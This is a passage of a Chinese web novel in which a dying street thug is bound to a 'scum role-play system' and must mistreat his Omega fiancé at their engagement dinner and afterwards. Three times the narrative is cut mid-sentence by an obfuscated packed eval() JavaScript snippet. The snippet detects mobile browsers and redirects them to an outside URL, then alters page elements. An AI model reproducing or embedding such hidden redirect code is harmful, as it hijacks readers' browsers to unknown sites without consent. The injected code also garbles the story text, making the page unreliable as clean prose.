《人渣扮演手册》 1. 第一章 雨后的小巷反潮,垃圾、雨水、动物的尸体混合在一起弥漫起一股让人说不出的恶心的味道。 来人很不客气的挥舞着手里的棍棒大声怒吼,“陆则你要死啊!” 几乎是转眼间陆则身边就围了一群气势汹汹的人,几乎个个拿着棍棒一脸凶神恶煞。 陆则的脑袋很晕,整个人都在发热,往常矫健的身体在此刻有些不听使唤,他闭了闭眼深吸一口气,却被巷子里那股恶心的味道冲的更加头晕脑胀。 为首的黄毛见陆则不理他更加愤怒了,“喂!你他妈的!”他凑的更近了,手里的木棒高高举起,但他还没来得及有任何动作,一直蹲在那里的陆则却晃了晃,就在他眼前扑通一声倒下了。 黄毛:“……?” 黄毛满脸惊惧连退数步,他是拿了钱没错,可他没想伤人杀人坐牢啊! “我可没动他!” 周围跟随的小弟本来还迷瞪的想老大怎么一退三尺,定睛一看那人倒在满是污水的地上生死不知,顿时鸟作兽散恨不得自己从没来过这个小巷。 这群人对视一眼,互相询问的意思明显。 跑不跑? 他们是混子不错,挣点钱算了,真出事他们可担不起。 不知是谁先打了个头,刚才还堵的满满的小巷顿时散了个干净。 陆则艰难的动了动脸,他整张脸几乎都埋在水洼里无法呼吸,身上很烫水洼里却冷的要命,双重刺激下他控制不住的哆嗦起来。 他的眼睛都快睁不开了,干脆整个人放松下来,意识在消弭,听觉在消失,雨水落在身上的感觉都不太分明。 陆则甚至还有闲心笑自己是不是要死了,浑浑噩噩之际,一道语调平平毫无波动的机械音在耳边响起。 【人渣扮演系统正在捕捉宿主。】 【捕捉成功。】 【请宿主做好准备。】 【3】 【2】 【1】 …… 沪城某高档酒店顶楼一个浴缸中猛的坐起一道身影,他好像快要在浴缸中溺毙一样,坐起来大口呼吸着新鲜空气。 等喉咙里那股火烧火燎的感觉过去,陆则的脑子才像是能正常运转一样动了起来。 他环顾四周,脑袋上缓缓冒出一个问号。 这是哪……? 他发着烧,倒在小巷里,感觉马上就要死了,然后…… 什么宿主,什么人渣系统? 正当陆则看着安安静静的四周有些怀疑自己是不是烧昏了头做了一个奇怪的梦时,那道机械音再次响起。 【叮——】 一个灯泡满满晃在了陆则面前,它继续用它那毫无感情的机械音介绍。 【宿主你好,我是人渣扮演系统996,根据匹配发现你十分有当人渣的潜质,所以要么跟我绑定,如果不绑定,您在愿世界已死亡,我会把你送回尸体里。】 陆则:“……” 陆则有气无力倒回浴缸,这具身体像是被痛打一顿浑身哪哪都疼,他不想跟这个人渣系统说话。 他不说话这人渣统居然也挺能沉得住气,愣是一声不吭。 “……人渣扮演要干什么。” 【你虐别人,很爽。】996言简意赅。 陆则:“……” 艾斯? “做完任务呢?” 【我可以送你回愿世界复活。】 陆则:“……” “不做。” 陆则本来还一副有商有量的样子,谁知道系统说完能送他回去的话立马拒绝不做,给996打了一个措手不及。 它操着一口机械音颇为滑稽,【为什么?活着万岁。】 陆则噗嗤一声笑了,“你有病还是我有病,我在那个世界就是个地痞流氓一穷二白还成天有人堵我,我疯了才回去。” 【呃……】996丝滑的换了方案,【宿主等任务完成留在这个世界也可以,这个身体的主人是个富二代中的富二代。】 陆则可疑的凝滞了几秒,“……留在这个世界?人渣最后不死啊?” 【不是所有人渣都会受到惩罚,陆则过的很好。】 陆则一闭眼,又不吭声了。 【宿主。】996再次询问,【你做吗?】 陆则咬着牙挤出一个字,“做……” 一个心理健康的成年人是很难寻死的,人体本身对死亡的恐惧与自救的本能,一切一切在人生道路中遇到的人,无论是父母还是朋友,人生在世很难没有羁绊,也很少有人能真正做到无事一身轻。 至少陆则不行,他没那个勇气送死,所以当倒在那个小巷,感觉到自己要死且无力自救的时候,他甚至是轻松的。 但现在已经活过来要再让他去主动寻死,那是不可能的了。 996似乎并不意外陆则的选择,毫无任何卡壳的开始介绍剧情与陆则扮演的人物。 【那是个柔软的温顺的Omega,大概会是个好妻子,但陆则一点都不喜欢,他喜欢的是追求刺激,热热闹闹的跟朋友在一起,对这种温顺甚至可以称得上完全服从的软弱没有一点兴趣,这也注定了这个Omega得不到陆则的喜爱。】 【得不到丈夫的喜爱对于一个已婚没有能力养活自己的Omega实在是太过悲哀的事情,他小心翼翼的讨好着自己的丈夫,企图让丈夫多分一点视线在自己身上,但最后依旧无济于事,得到的似乎只是羞辱与疏离。】 【实在讨好不了丈夫的他只好把心思放在公公婆婆身上,自古婆媳关系就是一大难题,结婚这么长时间还没怀孕让陆母对他颇有微词,不过还好的是——Omega很快就怀孕了。】 【或许是没再奢望丈夫的喜爱,他将压在自己身上的重担卸了下去,心理上的放松让Omega很快就怀上了孩子,医生说他生殖腔壁很薄不适合怀孕,但Omega似乎把这个孩子当做了自己最后一根救命稻草,他义无反顾住进医院扎了无数根保胎针。】 【‘你’的父母对Omega如此卖力保护陆家的血脉极其满意,连带着对你这个不体谅妻子的儿子都有些看不过眼,‘你’不知道这个Omega用了什么手段导致你的父母也站在了他那一边,但恶性循环下你的厌恶因此与日俱增。】 陆则有些心梗,觉得这种情节莫名其妙很像某些渣攻贱受文,听的他眼前一黑又一黑。 按照正常渣攻贱受文来看接下来该是‘陆则’幡然醒悟追妻火葬场,但他听着996这个系统的名字就觉得不可能,一个人渣,怎么可能呢? “然后呢?”但陆则还是没忍住问了句。 【他死了。生理心理双重压力彻底压垮了这个omega,他死在了手术台上,带着‘你’的孩子一起。】 陆则:“……” “首先说明,我是个正常世界里的正常男人。” 对于男人怀孕尊重、理解,但震惊。 “……所以现在是什么时候?”陆则生怕听到什么极为恐怖的词汇。 【你和那个Omega——宋知许的订婚宴。】 陆则这才看向摆在一旁的电话,锁屏上显示着来自三个不同号码加起来足有近三十个未接电话,备注很简洁的写着爸、妈和哥。 他脸色微妙了下,拖着湿漉漉的身体从浴缸里出来随手捞了浴巾擦拭,路过镜子时盯着里边那张再熟悉不过的脸又是一愣。 “我跟这个人渣长得一模一样?” 【不是哦。】996像个没有任何感情客服加了一些看似很有礼貌的后缀,【我们是非常人性化的,为了宿主方便行事全盘替换。】 陆则随手擦了下头发走出卫生间,早已准备好的衣服已经扔在床上等主人穿起,他一边不紧不慢的穿衣服,开口问,“所以陆则最后怎么了?” 996飞速将烂熟于心的剧情陈述出口,【‘你’有些愧疚但更多的是松了口气,毕竟omega不稀罕,孩子也还是会有的,没有倾注感情又用不着你自己怀的孩子当然没什么感情。】 【陆则有钱,有颜,过得挺不错。】 虽然已经知道大概就是这么一个结局但陆则还是疑似心梗了下,干巴巴说了句挺好的就不再理996。 * 酒桌上推杯换盏看起来其乐融融,一张大圆桌上现在才坐了六个人,菜上了一小部分看起来空空的,桌上人也不好干坐着于是闲聊起来。 段母几次三番看时间脸色不是很好看,这么一桌全是双方直系亲属,这种场合不谈什么身份高低,按亲家来说陆家干的实在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740429|174148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不像话,人家Omega一家都在这儿等了半个小时另一个主人公硬生生不出现,生怕对方不知道陆则对这事不满意吗? 她本来就是个急性子,正当实在忍不住想借口出去上厕所再给陆则打个电话。 那道门就突然被打开了,一个穿着服务员制服的人替身后人引路打开门,等陆则进去就关上离开。 姗姗来迟的又是当之无愧主角的人当然吸引了所有人视线,来人与一直坐在这里的陆延有五分相像,但要更高些,浑身的气势毫不收敛,相比气质内敛温和的陆延也更有最纯粹的冲击些,鼻挺唇薄,双眼皮褶子略上挑,说不出的薄情风流样。 陆母笑着站起来拍了下陆则的胳膊,“来这么迟?”她已经自顾自给陆则找好了理由,“堵车不知道早走一点啊,这么大人也好意思让这么多人等你。” 陆则也不是什么在长辈面前混蛋的人,随即朝坐在另一侧的宋女士,宋父笑了下,“伯父伯母不好意思路上堵车来迟了。” 不管虚情还是假意只要说了道歉就是个台阶,对面也丝毫没有要挑事的意思,也对着陆则笑开了,“这些年你一直在外边,我总听你妈妈说你呢,看起来是越发好了。” 陆则配合着笑了下,正准备落座时不期然对上了另一双浅灰色很温柔的眼睛。 那双眼睛有些亮,带着些说不出的期待与很轻微的羞涩看着陆则。 陆则慢慢看向那张脸。 宋知许生的是极好的,周身说不上来的气质,很纯,是那种大部分Alpha见了都会喜欢的Omega。 宋知许与陆则对上视线,脸慢慢红了起来,带着耳垂和脖子也红了一片。 陆则惊讶与人居然能在这么一瞬间红成这样,一时半刻没挪开眼睛,直到996在耳边不停的重复他才如梦初醒一般的移开视线。 【高傲、目中无人、未看一眼!】996在他耳边飞,【宿主一定要注意关键词,陆则是被按着头回来结婚的,而且还看不上这种Omega,千万不要再看了。】 陆则想不通,他想不通就问,“我看陆则的妈挺疼他的样子,陆则又是个桀骜不驯的,为什么还会被摁头结婚。” 【总不能既要又要吧。】996说,【剧情的设定就是,陆则的快活日子是他哥哥陆延一力扛下所有任务换来的,陆延继承家业,陆则拥有自由,那么陆延就有婚姻自主权,陆则就得回来配合家里搞联姻。】 陆则嗯了声不说话了。 桌上大多是双方家长在谈话,没陆则和宋知许插嘴的份,他安安静静吃自己盘里的东西,恪守关键词对时不时投来的目光持忽视态度。 直到桌上的家长突然cue他,“阿则,吃好了吗,吃好就跟知许出去逛逛吧,这儿附近景色不错。” 陆则瞟了眼眼前的光屏,终于把视线分给了那个Omega一点,宋知许屁股已经微微离开凳子,一副看陆则起来就要跟着走的模样,陆则动作不是很轻的把筷子扔在盘子上,口气里是掩盖不住的不耐,“都是人造的有什么好看的,我最近累的要命。” 这很不给对方面子,其实不管怎么来说他今天就算累死病着也该绅士的跟自己结婚对象出去逛一逛联络感情,但很可惜。 陆则是个人渣。 宋知许脸色白了下,显然没想到第一次要单独相处陆则就这么不给面子,动作很是僵硬了下。 陆母看了陆则一眼回头笑了下,“外边跟咱们这儿有时差,他从外边回来生物钟一直不对,精神头也差。” 这算是对陆则不留情面的拒绝的解释。 宋知许抿了下唇,随即又很善解人意的笑了下,“没关系的,正好外面在下雨有些冷,在屋子里暖和暖和聊聊天也不错。” 陆母对宋知许印象不错,又笑吟吟随便跟他说了几句,宋知许显得有些心不在焉。 一个Omega怎么可能没对自己未来的Alpha有过幻想。 在陆则进来的时候他太过惊喜,这个Alpha无论是外貌还是气质都太好了。 可陆则现在的反应…… 宋知许再次抬头看那个很陌生的Alpha。 对方正抱着双臂靠在椅子上,垂着眼看起来不大有精神。 真的在倒时差,还是不喜欢……? 2. 第二章 这几天没有什么剧情点,陆则回到家昏天黑地睡了个爽,家里人该上班上班该玩乐玩乐,只有保姆到饭点上来敲门。 这大大方便了陆则,他摸不准原主跟家人怎么相处,最好不相处。 提前定好的闹钟响了起来,陆则脸埋在枕头里很烦的摸了摸按掉,那个人渣系统就开始在耳边念叨了。 【宿主,清醒清醒,剧情点来了。】 陆则含糊开口,“马上……” 996得到回应很老实的蹲在一边等,等了五分钟催,得到了一个马上,等了十分钟再催,又得到了一个马上,这个人工智能才咂摸出点关于人类的马上来。 【宿主……】996像个鬼一样飘到陆则枕头上,【不走剧情会被电的,连续二十四小时,平均三分钟电一次,二十四小时要被电四百八十次。】 陆则:“……” 陆则脸色很臭的爬起来,这具身体像是经历了什么超负荷的运转,那天去吃饭全程脑袋都很晕,有种控制不住脑袋心悸的感觉,他怀疑如果自己不来原主会不会直接猝死。 猝死就好了,省的他来当人渣。 这具身体还有很多疤,一些很细微的不仔细观察看不太出来的疤没准在什么地方盘旋,还有些以激光技术都难以完全祛除的疤痕爬在身上。 996见陆则若有所思看自己身上那些疤十分善解人意解释,【这些疤是原主玩极限运动搞出来的,宿主你的剧情里也有极限运动哦~】 “他想死,我不想。”陆则面无表情,“人渣,你知道搞这些需要考证的吗?” 【我不是人渣,宿主你才是。】996纠正陆则,【我不知道哦~但是剧情要求您必须要极限运动,因为某些口口剧情就是在这些地方发生的。】 本来还颇有闲情雅致观察自己身上疤痕的陆则一僵,漆黑的眼睛盯着996,似乎很怀疑自己刚才听到了什么,“口口?” 【是的,口口。】996毫无感情的机械嗓音重复。 陆则:“……” 陆则闭了闭眼,想重新倒回床上去。 996似乎想强调口口的必要性,【剧情中宋知许最后可是怀了你的孩子,不口怎么怀?】 陆则得到了一些聊胜于无的安慰,至少口口的剧情在很后面。 那道蓝色的光屏就在陆则眼前展开,996指着一片马赛克,【第一次口口就在一周后,赛车场。】 “咚——!” 陆则倒下了,甚至开始思考一周后开着赛车直接来个车毁人亡的可能性有多大。 到最后的最后,陆则真心实意的发问: “你们是正经系统吗?” * 陆则靠在车上漫不经心玩手机,陆母和陆父强制陆则多去找宋知许培养培养感情,他们清楚陆则的性子,但在这种事情上绝不会纵容他。显然不允许在婚前两人之间搞出什么龌龊闹出笑话,毕竟未婚的Omega还是姓宋,至于婚后到底如何书里已经写的明明白白,两位父母并不怕这个成为陆家人Omega的男孩搞出什么风浪,毕竟自家人再怎么闹也是家事,外人无权多话。 他们很讲体面。 原文中的陆则刻意把安静的Omega带去跟自己那群爱热闹爱玩的朋友见面,Omega以为这是一种介绍,没想到被带去那里后得到的是Alpha从头到尾的冷落与无视。 Alpha在用自己的每一个表现告诉这个Omega,他俩不是一路人。 陆则的态度决定了他的朋友对待宋知许的态度,宋知许自然没讨什么好。 而在这个时候,陆则发现了宋知许似乎对他颇有好感,于是对这个可怜的Omega进行了新一轮的玩弄。 陆则随便点开软件又退出,几乎把所有软件都点了一遍才等到宋知许。 对方脚步很轻,穿着件看起来很温暖又柔软的羊毛衫,那双清澈又明亮的眼睛看着陆则,表情很柔软的朝他笑了下,“陆则?” “嗯。”陆则不冷不热的应了声,“上车吧。”他说完这句就率先上车,没有任何绅士风度,压根没打算给宋知许开个车门。 这个Omega似乎也没注意到这点,绕了到另一边自己打开车门坐上了副驾,陆则直接开车没跟他继续说话的意思,他只好微微抿着唇打破寂静,“我们要去哪里?” “跟我朋友吃饭。” “啊、哦……”宋知许很意外,介绍某个人进入自己的社交圈子在他看来是极其亲密的行为,他没想到看起来不冷不热的陆则这么快就要带他进自己的社交圈,难免有些惊讶,他低着头不知道在想什么,过了一会又朝陆则露出一个柔软的笑。 他为什么看起来这么有……母性? 陆则犹豫着想。 996在他耳边嗡嗡的飞,很客观的说,【事实上,根据多种数据分析来看,绝大多数男性身上缺少独属于女性的那种柔软与体贴,也可以称为母性,所以你觉得很稀奇。】 陆则开车的动作极具观赏性,动作随性又自然,开的很稳,这个点距离晚高峰还有四十多分钟,路况还不错,一路畅通无阻的到达了目的地。 陆则打量了一番眼前这场地,这地方从外观看像是个小院,不显山不露水隐秘在这个城市一角,门口侍应生接过钥匙替他去泊车,宋知许很安静的跟在他身后,“他们已经到了吗?” 陆则嗯了声,率先往前走了,这具身体似乎对这里颇为熟悉,他下意识往某个方向走,绕过假山和引入的活水又转了好几个弯才到那间从外观看起来颇为雅致的地方。 陆则略带怜悯的瞥了眼这个Omega,谁能想到这么个雅致的房间里边是一群一个比一个难搞的Alpha。 宋知许被他这一眼看的不明所以,眼睫抖了下,又很不自在的摸了摸自己的衣角,他抿了下唇,“进去吧?” 门刚被打开,均匀的瘫在各个地方玩手机的人都睁着像X光的两只眼睛就看来了,陆则高大的身影却把身后身形略纤瘦的Omega挡了个严严实实。 下一秒,一颗脑袋慢慢从陆则身侧探出来,那个长着一双浅灰色眼睛好看的Omega有些腼腆的笑了下,“你们好。” 房间里很诡异的安静了几秒,宋知许笑着脸有些僵,脸上的笑都快挂不住了,直到一声不知道是谁发出的''我去''才打破了空气中弥漫的寂静。 这个Omega似乎是天生身体色素含量低,头发颜色浅,眼睛颜色浅,皮肤也白的不像话,这么顶着光好像整个人都在发光。 “宋知许。”陆则冷冰冰的声音打破了房间了的寂静,他很不悦的看了眼那个发出我去声音的女A,只是极其简短的介绍了个名字就带着他坐进来。 剩下的四五个Alpha互相对视一眼,神情微妙一瞬间随即恢复正常,动作自然的坐下,笑吟吟的互相说了几句话。 宋知许不着痕迹的打量了一圈,唯一的女A打了一脸钉子,身上也穿着一堆带钉子的衣服,还有一个染着一头白毛表情很不耐,一个戴着眼镜脑袋都快扎手机里,还有一个穿搭都中规中矩动作却像个躺在自家床上的大爷翘着二郎腿一脸混不吝的表情,要多没正形多没正形。 这么一看,旁边的陆则似乎是唯一一个正常又有涵养的人。 这几个人叽里呱啦像是麻雀一样吵,宋知许除了最开始那句你们好再没插上一句话,陆则 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740430|174148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 偶尔接几句,更多的是在旁边听,像大爷那个唠的口干舌燥拿起杯灌了一杯水,“则哥,周末跑圈去呗?” “今天周六。”陆则看了眼手机。 “下周末。”常综重复了句,他似乎起了跟宋知许聊天的心思,笑嘻嘻张口就叫嫂子,“嫂子跑过圈吗?” “没有。”宋知许回答,他几乎不了解这个,就算常综跟他聊他也没法接话,不知道就是不知道。 “攀岩呢?” “没有。” “山地车?” “……没有。” 常综问一个宋知许回答一个没有,回答到最后宋知许自己的闭上了嘴,常综扯了扯嘴角,“则哥喜欢这些,那以后则哥出去搞这些几个月不回家嫂子你怎么办啊。”他说着叹了口气,“玩不到一起啊。” 宋知许终于察觉出点不对,一进门以来的忽视,敷衍的态度,和几乎带着些逼问意思的问题与不含善意的''玩不到一起啊。'' 他无措的看了眼身旁的陆则,有些焦躁的扣了下自己的指甲。 他不是傻子,如果陆则护着他的话,他的朋友不会对他这个态度,甚至很有可能陆则对着他的这些朋友说了什么关于他的、不中听的话,这种若有若无微妙的恶意让人感到不适又无法发作。 他不明白为什么。 如果不喜欢他大可以不用带他来见朋友,为什么要这样呢。 一股莫名说不上来、又很难压下去的委屈涌上心头,他抿着唇去看陆则。 陆则眼睁睁看着那个长着双好看眼睛的Omega慢慢红了眼睛,又浮现出一点难以忽视的水光。 陆则:“……” 陆则语气凶巴巴的,“哭什么。” 宋知许憋了下没憋住,眼里泪光反倒更明显了。 陆则:“……” 陆则扯着人往出走,走之前还抽空瞪了眼常综。 常综:“?” 我里外不是人呗。 不是你暗示这么干的? 996发出尖叫,【宿主!人渣!你是人渣!不能对他态度好!】 陆则把门一扇关上,这周围都是绿植挡得严严实实来回行走的人也看不清这里,他往墙上一靠,语气还是凶巴巴的,“哭什么。” “你朋友不喜欢我。”宋知许语气里那点泣音很明显,打扮的漂漂亮亮容光焕发的Omega此刻看起来委屈极了,如果是朵漂亮的花大概此刻已经蔫巴巴的垂下了脑袋。 陆则伸手点了下那滴沾在睫毛上的泪否认,“没有,他就那种没脑子人。” 宋知许不知道信还是没信,眉尖皱着还是一副遭受天大委屈的模样,他试探着,慢慢靠近了一点陆则,又很慢很慢的窝进他怀里,像个小孩一样寻求安慰。 陆则手垂在两侧不知道该不该抱,很心烦意乱的对996强词夺理。 “就陆则那态度不是个傻子智障都不可能喜欢他,你不是说宋知许喜欢陆则么,我这是在攻略他,先让他喜欢上我再说。” 996不懂,但996大为震撼,它觉得宿主在强词夺理,但996没有证据。 宋知许紧紧抱着眼前的Alpha,似乎极为珍视喜欢这个人,他垂着眼睫,将浅灰色的眸子遮住了一半,那双现在藏匿与暗处的眼睫毫无任何情绪,给本来就淡的眼睛更添了些说不出的淡漠的味道。 他睁着双毫无情绪的眼睛,把陆则抱的更紧了些。 这个Alpha似乎有一切A都有的通病,甚至还要更恶劣些。 但他却诡异的、与他的恶劣很不相符的心软。 掉几滴眼泪就好了。 宋知许面无表情的想。 3. 第三章 这场饭局在一种极为诡异的氛围下和平的结束了,其中以常综尤甚,活像被人塞了一坨屎味的巧克力进嘴吃吃不下吐又不能吐,憋得整张脸岂是一个赤橙黄绿青蓝紫,等临走前意味深长的看了半天陆则,撂下一句,“我真的没时间陪你闹了!” 陆则正在看996投射在眼前的剧情,表情很一言难尽的看了眼常综,辛亏被折磨的神经兮兮的常综很快被那个女A拉走了,宋知许拿张餐巾纸擦了又擦,安安静静的坐在一旁等陆则。 陆则看了眼剧情,又看了眼宋知许,一时间不知道该怎么走下去。 原主这一套冷落连招打完再次叠加阴阳怪气buff,宋知许反倒像是受了刺激一样劈里啪啦表白了对‘陆则’的好感,此后‘陆则’对宋知许的pua和虐心就一发不可收拾,俨然是一副浪子和痴情人剧本。 陆则:“……” 996像个鬼一样幽幽开口,【是啊宿主,没有冷落连招怎么阴阳怪气,没有这些他要怎么开始对你表白心意呢,怎么表白心意呢~】 陆则想了想,率先从桌上捞了车钥匙,“走,送你回去。” 他秉持着人设自顾自往前走既不等宋知许也不回头看,后面没什么声音,他估摸着宋知许早被甩远了,借着转弯的地方很轻微的偏偏头看了一眼,随即克制不住的抖了下,又很若无其事的收回视线继续走。 996检测到宿主心跳快的不正常,黄色的灯泡都变成了粉色,【宿主心跳得这么快,是心动啊~】 我心动你妈。 陆则堪堪咽下嘴边的脏话,他那是心动吗,他是被吓的。 转角处有一盏白色的灯,身后一点动静都没有谁能想到一扭头就对上一张被灯照的刷白的脸和没有一点情绪到甚至有些无神的目光,很像影视剧中看见的某些反社会的眼神,陆则一个牢记社会主义核心价值观的大好青年被他吓的一抖。 陆则:“……” 陆则的脚步刻意放的轻了又轻,身后还是一点动静都没有,宋知许一直跟在他身后飘。 像个鬼似的。 眼见着宿主的思路向神鬼志异方向发展一发不可收拾,996赶紧跳出来打断他离谱的思路,很应景的把颜色变成红色,【宿主,安心了吗?】 陆则居然很奇异的从996那张看不出五官的灯泡脸上看出三个字——我懂你。 * 这个时间路上交通状况不错,陆则车却开的很慢,他慢慢摩挲着方向盘,又从后视镜里瞟了眼似乎在闭目养神的宋知许,不冷不热开口,“怎么不说话。” 宋知许睁开眼,眼睛里还有难以掩饰的困倦,只不过这困倦只在他眼中短暂的停留几秒很快就被他收拾好,他慢慢坐直扭头看向陆则才开口,“嗯?什么。” “饭不好吃?”陆则车开的很稳,口气不冷不热的脸上表情也看不出是高兴还是不高兴,“还是不想跟我吃饭?” 宋知许飞快的垂下眼又抬起,眼睛转了几圈,似乎搞不懂陆则抽什么风,但还是很快的扬起一抹温柔的笑意,“没有,选的地方很雅致,饭菜也可口。”他咬字很清楚,声音很轻很柔和,“因为我跟你的朋友不太熟,你们会的东西好多。” 他轻轻的夸赞陆则,“赛车、攀岩、山地……这些我都不会,你真的好厉害哦。”他说着眼睛亮亮的看向陆则,“这些都好难的。” 这估计要是原主已经被夸爽了。 他不会爽。 因为这些他根本不会。 真是个冷笑话,陆则被自己逗笑了。 宋知许见他笑了也轻轻扬起一抹笑,声音很温顺的重复,“你真的很厉害。” 陆则嗯了声,随口说了句都很简单,“我们一群人总一起玩这些。”他想起了一周后避无可避的那场赛车,提前给自己打补丁,“他们几个赛车好,我不行。” 宋知许嗯了声,却是一副我知道你在谦虚你别谦虚了你就是很厉害到时候你一定能拉爆所有人的崇拜表情。 陆则有点绷不住,“一周后跟我去赛车。” Alpha武断的决定了Omega当天的行程,没有任何询问,也不太在乎对方意愿的安排着。 宋知许咬了下嘴里的软肉,扯了下嘴角又放下,这才温温柔柔的笑了下,脸上写着你看吧我就知道你要给我大显身手你就是很牛逼的非常崇拜且期待的表情。 陆则彻底绷不住了。 距离Omega的家越来越近,剧情强制要求的关键节点还没完成,在等红绿灯的时候陆则略显焦躁的敲了敲方向盘。 宋知许很贴心的询问,“怎么了?你有什么很着急的事么,如果着急的话,这里离我家也没有很远,我可以自己回去,你去办自己的事情,还是你的事情比较重要。” 陆则:“没有。” 谁不清楚陆家二少身上毫无来自家里的压力,家里对他的要求基本为零,只要不搞些违法乱纪的事随便他怎么干,没压力零花钱充沛,有时间又有钱,除了玩还有什么正事。 陆则看着时间一点点流逝,一着急开始张嘴乱编,一顶大帽子就扣在了宋知许头上,“你对常综挺感兴趣?桌上一直跟他说话。” 宋知许:“?” 宋知许这下是真懵了,很想张口反问难道不是常综一直在饭桌上刁难他他才不得不一句句回应么,怎么到了陆则嘴里好像成了他跟常综相谈甚欢的样子。 理智压下了他反问的念头,宋知许茫然的睁着眼似乎对他的话异常不解,在反应了几秒后不解又变成了一种被冤枉的委屈,“我没有……你为什么这么说?”他不轻不重的又把话拨了回去,不动声色的观察着陆则到底想做什么。 “哦,没什么。”话说出来陆则越想越觉得荒谬,事已至此只好硬着头皮继续说,饶是内心山崩海啸陆则脸上还是淡定的不得了,甚至还露出个笑,“你对他说的话比对我说的还多。” 如果‘不会’也算说的话的话,宋知许实在无话可说。 这话在宋知许脑子里打了个转,他福至心灵,每说一句都观察着陆则的反应,“我没有想跟他说话。” 陆则没什么反应。 “我是你的Omega,那是你的好朋友。” 陆则眉毛似乎抖了抖。 宋知许微微垂着眼,白皙的面庞此刻红着,声音低低的,“喜欢你,所以想讨好你的朋友。” 陆则的微微皱着的眉毛舒展开了,神情也轻松起来,宋知许就知道自己说对了。 习惯将Omega视为自己所有物的Alpha占有欲极度强烈,争夺配偶是基因中携带的本能。 宋知许自认圈子中同一个年龄段的年轻人没有哪家的Omega能比得上他,得到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740431|174148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他这样一个Omega的芳心,亲口承认的喜欢,理所当然的能极大的满足Alpha的虚荣心。 他当然可以去满足陆则的虚荣心,把自己收拾好好的像一个漂亮的装饰,被冠以陆字,被放在陆则两个字后面,只是为了信息素,为了日后好过一点。 为了自己的日子好过一些低头演戏没什么可耻的,宋知许低着头面无表情。 陆则从镜子里看了眼红着脸低着头的宋知许,瞄了眼台词照着念,“喜欢我?”陆则似乎是在嘲笑喜欢这两个字,“我们第二次见面吧?” 宋知许脸上的红晕还没有消散,那双灰色的看起来有些温柔的眸子不躲不避的从镜子里直视他,“喜欢你不是理所当然的事情吗,哪个Omega不喜欢你这样的Alpha?” 他与陆则对上视线,对方并没有说话,也没有挪开目光,似乎在问譬如呢? 宋知许想了想,愣是找不出任何一个可以确切来夸一夸的点。 如果说Alpha各个都是禽兽,那眼前这个陆则应该就是禽兽中的禽兽,王中王。 眼前这个王中王唯一的优点就是长了副人样,长着一副再不喜欢他的人都很难违心说他长得难看,跟那个陆延明明是亲兄弟为什么这个陆则就更好看一些,基因彩票? “你长的这么好看。”宋知许觉得这话夸的有些干巴巴的,随即补充,“你真的是我见过最好看的Alpha。” 陆则不知道信还是没信,轻飘飘挪开了视线,接下来不到十分钟的路程他开的很快,六分钟差不多就到了。 宋知许坐在副驾感受着突然提起来的车速有种无法言说的荒谬——一路上开那么慢难道就为等他说喜欢然后夸他? 996在一旁加油打气,【加油宿主,伸脖子一刀缩脖子还是一刀,最后一个动作一句话,撩的他不知天地为何物!】 陆则深吸了口气,在宋家的别墅前踩了刹车,副驾驶的宋知许解开安全带,“谢谢你送我回来,今天真的辛苦你啦,回去的路上记得慢一点,注意安全,到家可以给我发个消息吗?这么晚你开着车我会担心你的。” 陆则嗯了声,一次性回复了他所有的关怀和问句,宋知许又笑了下,说了声拜拜就准备下车。 996大喊,【宿主快上,不然他就走了!】 眼前光屏上写着的内容让人眼前一黑又一黑。 【陆则慢慢摩挲着宋知许的后颈,那里正是他腺体的位置,经过半天的使用贴在后颈的天蓝色抑制贴本来就在该更换的边缘,被陆则摩挲了几下有些翘边。 手掌下的Omega被他摸的直哆嗦,陆则才像大发慈悲一样松开了他。 “你挺香的。”】 ABO世界摸腺体说一个Omega挺香的不就是在耍流氓吗。 陆则咬牙切齿的想。 可怜他一个熟读社会主义核心价值观的大好青年。 996宽慰他,【宿主,ABO世界观最初写出来其实就是为了搞簧,安心啦~这是正常的啦~】 宋知许刚打开车门,一只手就朝他伸了过来,他略微有些长的头发被拨了拨,耳垂也被摸了一下,这地方离腺体太近,即使没有碰到他也有种被摩挲腺体的错觉。 对方懒洋洋的声音响起: “我也喜欢你。” “你挺香的。” 4. 第四章 宋知许几乎是瞬间就脸红了,气的,他下意识想反手甩陆则一个巴掌,咬着嘴唇里的肉忍了又忍,还是没忍住被气的哆嗦。 陆则有些克制不住的茫然,倏的收回手,“我也没摸他腺体啊,他抖什么。” 看着宋知许这样陆则甚至开始怀疑是不是自己不小心摸到了但自己没反应过来,他越想越觉得应该就是这样,刚才摸过他耳朵的指尖顿时都烫了起来。 996也不是很清楚,【可能是宿主比原主牛逼吧,原主摸好一会儿才开始抖,宿主摸一下就抖。】 陆则:“……” 陆则:“我该夸他是敏感肌吗?” 